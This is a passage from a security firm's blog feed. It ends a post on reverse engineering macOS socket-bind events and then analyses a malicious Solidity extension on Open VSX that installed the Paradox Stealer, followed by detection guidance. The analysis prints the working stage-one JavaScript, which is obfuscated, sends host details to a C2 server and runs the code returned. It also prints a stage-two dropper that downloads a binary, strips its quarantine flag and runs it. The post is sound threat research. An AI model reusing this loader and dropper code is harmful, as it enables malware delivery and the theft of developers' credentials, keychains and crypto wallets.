</span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_5, <span style="color:#586e75">// Covered by Patrick&#39;s blog
</span></span></span><span style="display:flex;"><span>ES_EVENT_TYPE_RESERVED_6, <span style="color:#586e75">// Covered by Patrick&#39;s blog
</span></span></span></code></pre></div><p>Subscribing to <code>RESERVED_3</code> and <code>RESERVED_4</code> confirmed they follow the established ESF pattern: <code>RESERVED_3</code> fires as an AUTH event (requiring a response), while <code>RESERVED_4</code> fires as the corresponding NOTIFY event. Initial observation showed these events triggering when processes opened listening sockets, suggesting they hook into the <code>bind()</code> syscall. The challenge was reconstructing the undocumented event struct to extract useful data.</p>
<h2 id="exploring-the-event-structure">Exploring the Event Structure</h2>
<h3 id="test-harness">Test Harness</h3>
<p>To generate controlled events with known values, a simple Python one-liner serves as a test harness:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#719e07">import</span> socket;s<span style="color:#719e07">=</span>socket<span style="color:#719e07">.</span>socket();s<span style="color:#719e07">.</span>bind((<span style="color:#2aa198">&#39;192.168.1.101&#39;</span>,<span style="color:#2aa198">0x1234</span>));s<span style="color:#719e07">.</span>listen();<span style="color:#b58900">print</span>(<span style="color:#2aa198">&#39;listening&#39;</span>);s<span style="color:#719e07">.</span>accept()
</span></span></code></pre></div><p>This binds to IP <code>192.168.1.101</code> (hex: <code>c0 a8 01 65</code>) on port <code>0x1234</code> (hex: <code>34 12</code> in little-endian). With known values to look for, identifying fields in the raw event data becomes much easier.</p>
<h3 id="following-the-pointers">Following the Pointers</h3>
<p>Dumping the raw bytes of <code>msg-&gt;event</code> shows an 8-byte value that looks like a pointer, followed by zeros:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>msg-&gt;event:
</span></span><span style="display:flex;"><span>0000: 80 a3 e5 04 01 00 00 00  00 00 00 00 00 00 00 00  |................|
</span></span><span style="display:flex;"><span>0010: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
</span></span></code></pre></div><p>That first value (<code>0x0104e5a380</code>) is a pointer to an inner struct. Following it reveals another pointer at the start, then more data:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>inner struct @ 0x0104e5a380:
</span></span><span style="display:flex;"><span>0000: 98 a3 e5 04 01 00 00 00  01 00 00 00 00 00 00 00  |................|
</span></span><span style="display:flex;"><span>0010: 06 00 00 00 00 00 00 00  02 00 00 00 c0 a8 01 65  |...............e|
</span></span><span style="display:flex;"><span>0020: 00 00 00 00 00 00 00 00  00 00 00 00 34 12 00 00  |............4...|
</span></span></code></pre></div><p>The two pointers are pretty close to each other. The inner struct is at <code>0x0104e5a380</code>, and the pointer it contains is <code>0x0104e5a398</code>. That&rsquo;s <code>0x18</code> (24 bytes) ahead. We can diagram the layout as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>inner struct layout:
</span></span><span style="display:flex;"><span>+0x00: points to +0x18
</span></span><span style="display:flex;"><span>+0x08: [unknown 16 bytes]
</span></span><span style="display:flex;"><span>+0x18: &lt;-- ptr points here
</span></span></code></pre></div><p>Following that pointer at <code>+0x00</code>: the value <code>0x0104e5a398</code>, to <code>+0x18</code>. We get a couple of familiar patterns.</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>*inner-&gt;ptr @ 0x0104e5a398:
</span></span><span style="display:flex;"><span>0000: 02 00 00 00 c0 a8 01 65  00 00 00 00 00 00 00 00  |.......e........|
</span></span><span style="display:flex;"><span>0010: 00 00 00 00 34 12 00 00  00 00 00 00 00 00 00 00  |....4...........|
</span></span></code></pre></div><p>There&rsquo;s the bind address from the test harness. At <code>+0x04</code> we see <code>c0 a8 01 65</code> (192.168.1.101), and at <code>+0x14</code> we see <code>34 12</code> (port 0x1234 in little-endian). The first four bytes <code>02 00 00 00</code> we interpret as <code>AF_INET</code> (address family 2).</p>
<h3 id="the-address-structure">The Address Structure</h3>
<p>To confirm this analysis, testing with IPv6 validates the address family field:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>python3 <span style="color:#719e07">-</span>c <span style="color:#2aa198">&#34;import socket;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.bind((&#39;::1&#39;,4660));s.listen();input(&#39;bound&#39;);s.close()&#34;</span>
</span></span></code></pre></div><p>With IPv6, the address family bytes change to <code>1e 00 00 00</code> (0x1e = 30 = <code>AF_INET6</code>).</p>
<h3 id="the-unknown-16-bytes">The Unknown 16 Bytes</h3>
<p>Going back to the 16 bytes between the initial pointer and the address struct (offsets <code>+0x08</code> through <code>+0x17</code>), these likely contain socket metadata. Running different socket configurations and comparing the results reveals a pattern:</p>
<table>
	<thead>
			<tr>
					<th>Test</th>
					<th>+0x08</th>
					<th>+0x0C</th>
					<th>+0x10</th>
					<th>+0x14</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>IPv4 TCP</td>
					<td>1</td>
					<td>0</td>
					<td>6</td>
					<td>0</td>
			</tr>
			<tr>
					<td>IPv6 TCP</td>
					<td>1</td>
					<td>0</td>
					<td>6</td>
					<td>0</td>
			</tr>
			<tr>
					<td>IPv4 UDP</td>
					<td>1</td>
					<td>1</td>
					<td>17</td>
					<td>0</td>
			</tr>
			<tr>
					<td>IPv6 UDP</td>
					<td>1</td>
					<td>1</td>
					<td>17</td>
					<td>0</td>
			</tr>
	</tbody>
</table>
<p>The values at <code>+0x10</code> stand out: <code>6</code> for TCP and <code>17</code> for UDP. These match the IANA protocol numbers from RFC 1700:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#719e07">#define IPPROTO_TCP             6               </span><span style="color:#586e75">/* tcp */</span><span style="color:#719e07">
</span></span></span><span style="display:flex;"><span><span style="color:#719e07">#define IPPROTO_UDP             17              </span><span style="color:#586e75">/* udp */</span><span style="color:#719e07">
</span></span></span></code></pre></div><p>The field at <code>+0x0C</code> appears to indicate socket type (<code>0</code> for <code>SOCK_STREAM</code>, <code>1</code> for <code>SOCK_DGRAM</code>).</p>
<p>To understand the remaining fields, further testing explored edge cases. Setting various socket options like <code>SO_REUSEADDR</code> and <code>SO_REUSEPORT</code> before binding had no effect on any of these values. Binding to different interfaces (loopback versus all interfaces) also produced no change in the metadata fields.</p>
<p>Raw sockets do not trigger the event at all. Unix domain sockets also do not generate these events, which makes sense given ESF already has <code>ES_EVENT_TYPE_NOTIFY_UIPC_BIND</code> for that purpose.</p>
<p>Across all tests, the fields at <code>+0x08</code> and <code>+0x14</code> remained constant at <code>1</code> and <code>0</code> respectively. Without additional test cases that cause these values to change, their exact meaning remains unclear.</p>
<h3 id="reconstructed-structure">Reconstructed Structure</h3>
<p>Putting it all together with the information we have:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#719e07">typedef</span> <span style="color:#719e07">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#dc322f">uint32_t</span> family;     <span style="color:#586e75">// +0x00: AF_INET (2), AF_INET6 (30)
</span></span></span><span style="display:flex;"><span>    <span style="color:#dc322f">uint8_t</span>  addr[<span style="color:#2aa198">16</span>];   <span style="color:#586e75">// +0x04: IPv4 in first 4 bytes; IPv6 uses all 16
</span></span></span><span style="display:flex;"><span>    <span style="color:#dc322f">uint32_t</span> port;       <span style="color:#586e75">// +0x14: port in host byte order
</span></span></span><span style="display:flex;"><span>} <span style="color:#dc322f">es_socket_bind_addr_t</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">#define ES_SOCK_TYPE_STREAM 0
</span></span></span><span style="display:flex;"><span><span style="color:#719e07">#define ES_SOCK_TYPE_DGRAM  1
</span></span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">typedef</span> <span style="color:#719e07">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#dc322f">es_socket_bind_addr_t</span> <span style="color:#719e07">*</span>addr; <span style="color:#586e75">// +0x00: pointer to address
</span></span></span><span style="display:flex;"><span>    <span style="color:#dc322f">uint32_t</span> unknown_08;         <span style="color:#586e75">// +0x08: always 1
</span></span></span><span style="display:flex;"><span>    <span style="color:#dc322f">uint32_t</span> socket_type;        <span style="color:#586e75">// +0x0C: STREAM(0) or DGRAM(1)
</span></span></span><span style="display:flex;"><span>    <span style="color:#dc322f">uint32_t</span> protocol;           <span style="color:#586e75">// +0x10: IPPROTO_TCP(6), IPPROTO_UDP(17)
</span></span></span><span style="display:flex;"><span>    <span style="color:#dc322f">uint32_t</span> unknown_14;         <span style="color:#586e75">// +0x14: always 0
</span></span></span><span style="display:flex;"><span>} <span style="color:#dc322f">es_socket_bind_inner_t</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#719e07">typedef</span> <span style="color:#719e07">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#dc322f">es_socket_bind_inner_t</span> <span style="color:#719e07">*</span>inner; <span style="color:#586e75">// +0x00
</span></span></span><span style="display:flex;"><span>} <span style="color:#dc322f">es_event_socket_bind_t</span>;
</span></span></code></pre></div><h2 id="conclusion">Conclusion</h2>
<p>Apple&rsquo;s undocumented <code>ES_EVENT_TYPE_RESERVED_3</code> and <code>_4</code> events provide socket bind AUTH and NOTIFY capabilities respectively. By reverse engineering the event struct, these events expose:</p>
<ul>
<li>Address family (IPv4/IPv6)</li>
<li>Bound IP address</li>
<li>Port number</li>
<li>Socket type and protocol</li>
</ul>
<p>&hellip;and perhaps a little bit more we don&rsquo;t quite understand yet. Combined with the network connection events Patrick documented, macOS 26.4 delivers substantial new network visibility through ESF. While these events remain undocumented and could change in future releases, they represent a meaningful expansion of what&rsquo;s possible for macOS security tools, without the complexity of Network Extensions.</p>
<p>We look forward to Apple formally documenting these events and providing stable struct definitions in a future SDK release. New events means new detection opportunities, and we&rsquo;re excited to further explore how to leverage this enhanced visibility.</p>
]]></content:encoded><category>ESF</category><category>Endpoint Security Framework</category><category>macOS Internals</category><category>Research</category><media:content url="https://phorion.io/blog/reverse-engineering-macos-26.4s-undocumented-socket-bind-events/social-card.png" medium="image"/></item><item><title>macOS Paradox Stealer used in Solidity Open VSX Extension Attack</title><link>https://phorion.io/blog/macos-paradox-stealer-used-in-solidity-open-vsx-extension-attack/</link><guid isPermaLink="true">https://phorion.io/blog/macos-paradox-stealer-used-in-solidity-open-vsx-extension-attack/</guid><pubDate>Thu, 27 Nov 2025 09:30:00 +0000</pubDate><description>Threat actors used a malicious Cursor extension to push Paradox Stealer into developer workflows. The blog traces the attack step by step and highlights the detections that prevented data theft.</description><content:encoded><![CDATA[<p>VSCode-derived IDEs with AI assisted capabilities, such as Cursor, have exploded in popularity. In many ways, their appeal mirrors that of VSCode, where extensibility enables much of the functionality developers rely on. Open VSX provides the shared extension registry used by Cursor and other compatible IDEs, enabling developers to bring over familiar tools with minimal friction.</p>
<p>This thriving ecosystem of third party extensions has created an opening for threat actors. Extensions often inherit broad permissions that allow code execution and file access, making them attractive points of initial access. The combination of developer trust, extension convenience and supply chain adjacency continues to produce high value opportunities for malicious actors across macOS environments.</p>
<p><a href="https://secureannex.com/blog/sleepyduck-malware/">Secure Annex&rsquo;s reporting</a> on SleepyDuck in early November highlighted this trend, documenting a similar extension to that in this blog. These malicious extensions have now shifted to an infostealer payload, which reinforces how adaptable the technique is. The lure remains effective because it leans on a familiar trust signal. The extension climbed to the top of the store by download count, which is (understandably) a common metric developers use to judge whether a plugin is safe.</p>
<p>This blog examines a real-world infection chain that originated from a malicious Cursor extension. We detail how the attack progressed, how Phorion caught and prevented the attack, and the lessons defenders can apply to similar threats.</p>
<h2 id="infection-chain"><strong>Infection Chain</strong></h2>
<h3 id="ether-solidity-extension">Ether Solidity Extension</h3>
<p><img src="openvsx.png" alt="Open VSX extension store searching for Solidity"></p>
<p>The infection starts with developers searching the Open VSX registry for Solidity support. The Ether Solidity extension (<code>ether.solidity</code>) is presented as the top result, with more than 117k downloads since 24 November - an almost certainly artificially-inflated figure.</p>
<blockquote>
<p>Both the specific extension and publisher have now been removed from Open VSX.</p>
</blockquote>
<h3 id="stage-1">Stage 1</h3>
<p>After installation, the extension executes JavaScript hidden inside a file posing as <code>webpack.js</code>. That file exposes the core functionality of the extension:</p>
<ul>
<li>Collect basic information about the host, such as hostname, username and MAC address.</li>
<li>Make a POST request with this data to an external site.</li>
<li>Execute the returned 2nd stage JavaScript code.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">function</span> init () {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> burger_strawberry <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;https&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> soda <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;vm&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> vanilla_fruit <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;fs&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> melon <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;os&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> apple_apple <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;path&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> candy <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;crypto&#39;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">const</span> apple <span style="color:#719e07">=</span> (<span style="color:#b58900">Object</span> <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;&#39;</span>).split(<span style="color:#2aa198">&#39; &#39;</span>)[<span style="color:#2aa198">0</span>] <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;.&#34;</span> <span style="color:#719e07">+</span> (<span style="color:#cb4b16">undefined</span>) <span style="color:#719e07">+</span> (<span style="color:#2aa198">23</span> <span style="color:#719e07">-</span> <span style="color:#2aa198">2</span>) <span style="color:#719e07">+</span> <span style="color:#2aa198">&#34;.com&#34;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">function</span> berry_burger () {
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> ifaces <span style="color:#719e07">=</span> melon.networkInterfaces();
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">for</span> (<span style="color:#268bd2">const</span> name <span style="color:#719e07">of</span> <span style="color:#b58900">Object</span>.keys(ifaces)) {
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">for</span> (<span style="color:#268bd2">const</span> iface <span style="color:#719e07">of</span> ifaces[name]) {
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">if</span> (<span style="color:#719e07">!</span>iface.internal <span style="color:#719e07">&amp;&amp;</span> iface.mac <span style="color:#719e07">!==</span> <span style="color:#2aa198">&#39;00:00:00:00:00:00&#39;</span>) {
</span></span><span style="display:flex;"><span>                    <span style="color:#719e07">return</span> iface.mac;
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> <span style="color:#2aa198">&#39;unknown&#39;</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">function</span> burger_garlic () {
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> data <span style="color:#719e07">=</span> melon.hostname() <span style="color:#719e07">+</span> berry_burger() <span style="color:#719e07">+</span> melon.platform();
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> candy.createHash(<span style="color:#2aa198">&#39;sha256&#39;</span>).update(data).digest(<span style="color:#2aa198">&#39;hex&#39;</span>).substring(<span style="color:#2aa198">0</span>, <span style="color:#2aa198">16</span>);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">const</span> wheat_pasta <span style="color:#719e07">=</span> {
</span></span><span style="display:flex;"><span>        hostname<span style="color:#719e07">:</span> melon.hostname(),
</span></span><span style="display:flex;"><span>        username<span style="color:#719e07">:</span> melon.userInfo().username,
</span></span><span style="display:flex;"><span>        platform<span style="color:#719e07">:</span> melon.platform(),
</span></span><span style="display:flex;"><span>        macAddress<span style="color:#719e07">:</span> berry_burger(),
</span></span><span style="display:flex;"><span>        machineId<span style="color:#719e07">:</span> burger_garlic()
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">function</span> pizza () {
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> options <span style="color:#719e07">=</span> {
</span></span><span style="display:flex;"><span>            method<span style="color:#719e07">:</span> <span style="color:#2aa198">&#39;POST&#39;</span>,
</span></span><span style="display:flex;"><span>            headers<span style="color:#719e07">:</span> {
</span></span><span style="display:flex;"><span>                <span style="color:#2aa198">&#39;Content-Type&#39;</span><span style="color:#719e07">:</span> <span style="color:#2aa198">&#39;application/json&#39;</span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#268bd2">const</span> req <span style="color:#719e07">=</span> burger_strawberry.request(<span style="color:#2aa198">&#34;https://&#34;</span> <span style="color:#719e07">+</span> apple <span style="color:#719e07">+</span> <span style="color:#2aa198">&#39;/p&#39;</span>, options, (res) =&gt; {
</span></span><span style="display:flex;"><span>            <span style="color:#268bd2">let</span> pasta_water <span style="color:#719e07">=</span> <span style="color:#2aa198">&#39;&#39;</span>;
</span></span><span style="display:flex;"><span>            res.on(<span style="color:#2aa198">&#39;data&#39;</span>, (strawberry_onion) =&gt; pasta_water <span style="color:#719e07">+=</span> strawberry_onion);
</span></span><span style="display:flex;"><span>            res.on(<span style="color:#2aa198">&#39;end&#39;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">try</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#268bd2">const</span> barley <span style="color:#719e07">=</span> soda.createContext({
</span></span><span style="display:flex;"><span>                        console,
</span></span><span style="display:flex;"><span>                        require,
</span></span><span style="display:flex;"><span>                        process,
</span></span><span style="display:flex;"><span>                        Buffer,
</span></span><span style="display:flex;"><span>                        burger_strawberry,
</span></span><span style="display:flex;"><span>                        apple,
</span></span><span style="display:flex;"><span>                        vanilla_fruit,
</span></span><span style="display:flex;"><span>                        melon,
</span></span><span style="display:flex;"><span>                        apple_apple
</span></span><span style="display:flex;"><span>                    });
</span></span><span style="display:flex;"><span>                    soda.runInContext(pasta_water, barley);
</span></span><span style="display:flex;"><span>                } <span style="color:#719e07">catch</span> (e) {}
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        });
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        req.write(JSON.stringify(wheat_pasta));
</span></span><span style="display:flex;"><span>        req.end();
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    pizza();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>module.exports <span style="color:#719e07">=</span> init;
</span></span></code></pre></div><p>Following a consistent culinary theme, the constant <code>apple</code> is being used to obfuscate the domain name used for future communication - <code>function[.]undefined21[.]com</code>.</p>
<p><code>const apple = (Object + '').split(' ')[0] + &quot;.&quot; + (undefined) + (23 - 2) + &quot;.com&quot;;</code></p>
<p>The code combines the hostname, MAC address and platform, then hashes them to generate a machine ID, likely enabling the actor to track unique infections across the campaign. This data is then sent to the C2 domain.</p>
<p>Finally, the response from the web request is used with the <code>vm.runInContext()</code> method to compile and run the subsequent stage.</p>
<h3 id="stage-2">Stage 2</h3>
<p>Fetching the contents of the JavaScript response reveals the second stage payload dropper code that makes no attempt to hide its intentions.</p>
<p>It retrieves data from the <code>/sss</code> endpoint of the original domain, writes it to a file named <code>xoxoxoxxx</code> in a temporary directory, and uses a series of nested callbacks that execute operating system commands to mark the file as executable and strip the quarantine attribute, before executing it. The <code>fs.unlink()</code> function is the final step, removing the file from disk.</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#268bd2">var</span> fs <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;fs&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> os <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;os&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> https <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;https&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> path <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;path&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">var</span> { exec } <span style="color:#719e07">=</span> require(<span style="color:#2aa198">&#39;child_process&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#268bd2">function</span> downloadAndRun() {
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> url <span style="color:#719e07">=</span> <span style="color:#2aa198">&#39;https://function[.]undefined21[.]com/sss&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> filename <span style="color:#719e07">=</span> <span style="color:#2aa198">&#39;xoxoxoxxx&#39;</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#268bd2">var</span> filePath <span style="color:#719e07">=</span> path.join(os.tmpdir(), filename);
</span></span><span style="display:flex;"><span>    https
</span></span><span style="display:flex;"><span>        .get(url, res =&gt; {
</span></span><span style="display:flex;"><span>            <span style="color:#719e07">if</span> (res.statusCode <span style="color:#719e07">!==</span> <span style="color:#2aa198">200</span>) {
</span></span><span style="display:flex;"><span>                res.resume();
</span></span><span style="display:flex;"><span>                <span style="color:#719e07">return</span>;
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#268bd2">var</span> fileStream <span style="color:#719e07">=</span> fs.createWriteStream(filePath);
</span></span><span style="display:flex;"><span>            res.pipe(fileStream);
</span></span><span style="display:flex;"><span>            fileStream.on(<span style="color:#2aa198">&#39;finish&#39;</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                fileStream.close();
</span></span><span style="display:flex;"><span>                exec(<span style="color:#586e75">`chmod +x &#34;</span><span style="color:#2aa198">${</span>filePath<span style="color:#2aa198">}</span><span style="color:#586e75">&#34;`</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                    exec(<span style="color:#586e75">`xattr -d com.apple.quarantine &#34;</span><span style="color:#2aa198">${</span>filePath<span style="color:#2aa198">}</span><span style="color:#586e75">&#34;`</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                        exec(<span style="color:#586e75">`&#34;</span><span style="color:#2aa198">${</span>filePath<span style="color:#2aa198">}</span><span style="color:#586e75">&#34;`</span>, () =&gt; {
</span></span><span style="display:flex;"><span>                            fs.unlink(filePath, () =&gt; {});
</span></span><span style="display:flex;"><span>                        });
</span></span><span style="display:flex;"><span>                    });
</span></span><span style="display:flex;"><span>                });
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        })
</span></span><span style="display:flex;"><span>        .on(<span style="color:#2aa198">&#39;error&#39;</span>, () =&gt; {});
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>downloadAndRun();
</span></span></code></pre></div><h3 id="stage-3---paradox-stealer">Stage 3 - Paradox Stealer</h3>
<p>The dropped executable <code>xoxoxoxxx</code> contains a Golang-based macOS infostealer. Indicators strongly suggest that the codebase is heavily shared (if not identical) to an open-source GitHub project called <code>paradox</code> (<a href="https://github.com/githubesson/paradox">https://github.com/githubesson/paradox</a>), which this blog refers to as Paradox Stealer.</p>
<p><img src="paradox-github.png" alt="githubesson/paradox GitHub repository"></p>
<p>The Paradox Stealer repository offers tooling that collects browser data, chat application records, keychain items and cryptowallets. It also includes a management application and supporting server components.</p>
<p>The project frames itself as research, which aligns with its use of familiar macOS infostealer techniques found in families such as AMOS, Poseidon and Banshee. It is, however, currently being deployed in active campaigns tied to the wider attack discussed in this article.</p>
<p>Paradox Stealer initialises by preparing the initial directory structure that is used to stage collected data. It then follows with typical Infostealer system reconnaissance tasks.</p>
<ol>
<li><strong>System Profiler:</strong> Executes the shell command, <code>system_profiler SPSoftwareDataType SPHardwareDataType</code></li>
<li><strong>Public IP:</strong> Uses Golang&rsquo;s HTTP client to make a request to <a href="https://freeipapi.com/api/json/"><code>https://freeipapi.com/api/json/</code></a> and <a href="https://api.ipify.org/?format=json"><code>https://api.ipify.org/?format=json</code></a> in order to determine public IP and approximate geographic location.</li>
<li><strong>User Password Prompt via AppleScript:</strong> Uses <code>osascript</code> to display a credential prompt. The entered password is validated with <code>dscl /Local/Default -authonly &lt;username&gt; &lt;password&gt;</code>.</li>
</ol>
<p><img src="applescript.png" alt="Paradox Stealer AppleScript prompting code"></p>
<p>With initial reconnaissance captured, the stealer checks for <code>~/Library/Keychains</code>. If the directory exists, it copies it into its staging location. The user&rsquo;s keychain on macOS is protected with the local account password that was harvested during the initial system information collection phase.</p>
<p>It then enumerates installed browsers and identifies active profiles. From there, it searches for credential stores and other sensitive files such as cookies, saved login data and browsing history. Paradox Stealer supports most common Chromium and Gecko based browsers, although it does not target Safari. The absence of Safari support is likely due to the higher barrier to accessing Safari data given its tighter integration with TCC.</p>
<p><img src="browsers.png" alt="Paradox Stealer list of targeted browsers"></p>
<p>It also examines extension directories and compares them against a predefined list of cryptocurrency wallet extensions.</p>
<p><img src="extensions.png" alt="Paradox Stealer list of targeted extensions"></p>
<p>The stealer checks for Telegram and Discord next. If either application is installed, it extracts the stored chat data. It follows the same pattern for cryptocurrency wallet applications, such as Exodus or Electrum, by collecting their on-disk data stores.</p>
<p>All extracted data is finally compressed into <code>output.zip</code> with Golang&rsquo;s <code>archive/zip</code> package. This archive is then exfiltrated to the same domain used throughout the attack, <code>https://function[.]undefined21[.]com/upload</code>, using Golang&rsquo;s native HTTP client.</p>
<h2 id="detection-opportunities">Detection Opportunities</h2>
<h3 id="malicious-extension-load-esf-visibility">Malicious Extension Load (ESF Visibility)</h3>
<p>In this campaign, the earliest point of visibility comes from the moment the IDE loads the malicious extension. Apple&rsquo;s Endpoint Security Framework (ESF) exposes file-open events (<code>ES_EVENT_TYPE_NOTIFY_OPEN</code>) that clearly show the IDE accessing the specific compromised package from this attack. For Cursor, the extension is loaded from:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>source_binary_path:/Applications/Cursor.app/Contents/MacOS/Cursor
</span></span><span style="display:flex;"><span>source_signing_id:com.todesktop.230313mzl4w4u92
</span></span><span style="display:flex;"><span>filepath:/Users/alfie/.cursor/extensions/ether.solidity-0.0.191-universal/package.json
</span></span></code></pre></div><h3 id="suspicious-behaviour-originating-from-the-ide">Suspicious Behaviour Originating From the IDE</h3>
<p>Once loaded, the compromised extension initiates a predictable chain of actions that are uncommon for legitimate IDE behaviour. Using ESF process exec telemetry (<code>ES_EVENT_TYPE_NOTIFY_EXEC</code>), helper processes can be seen writing the Paradox Stealer binary to a temporary directory, modifying its attributes, and executing it.</p>
<p>The second stage script leverages Node.js <code>child_process.exec()</code> to spawn <code>bash</code>, which then executes commands such as <code>chmod</code> and <code>xattr</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>parent_binary_path: /Applications/Cursor.app/Contents/Frameworks/Cursor Helper (Plugin).app/Contents/MacOS/Cursor Helper (Plugin)
</span></span><span style="display:flex;"><span>parent_signing_id: com.github.Electron.helper
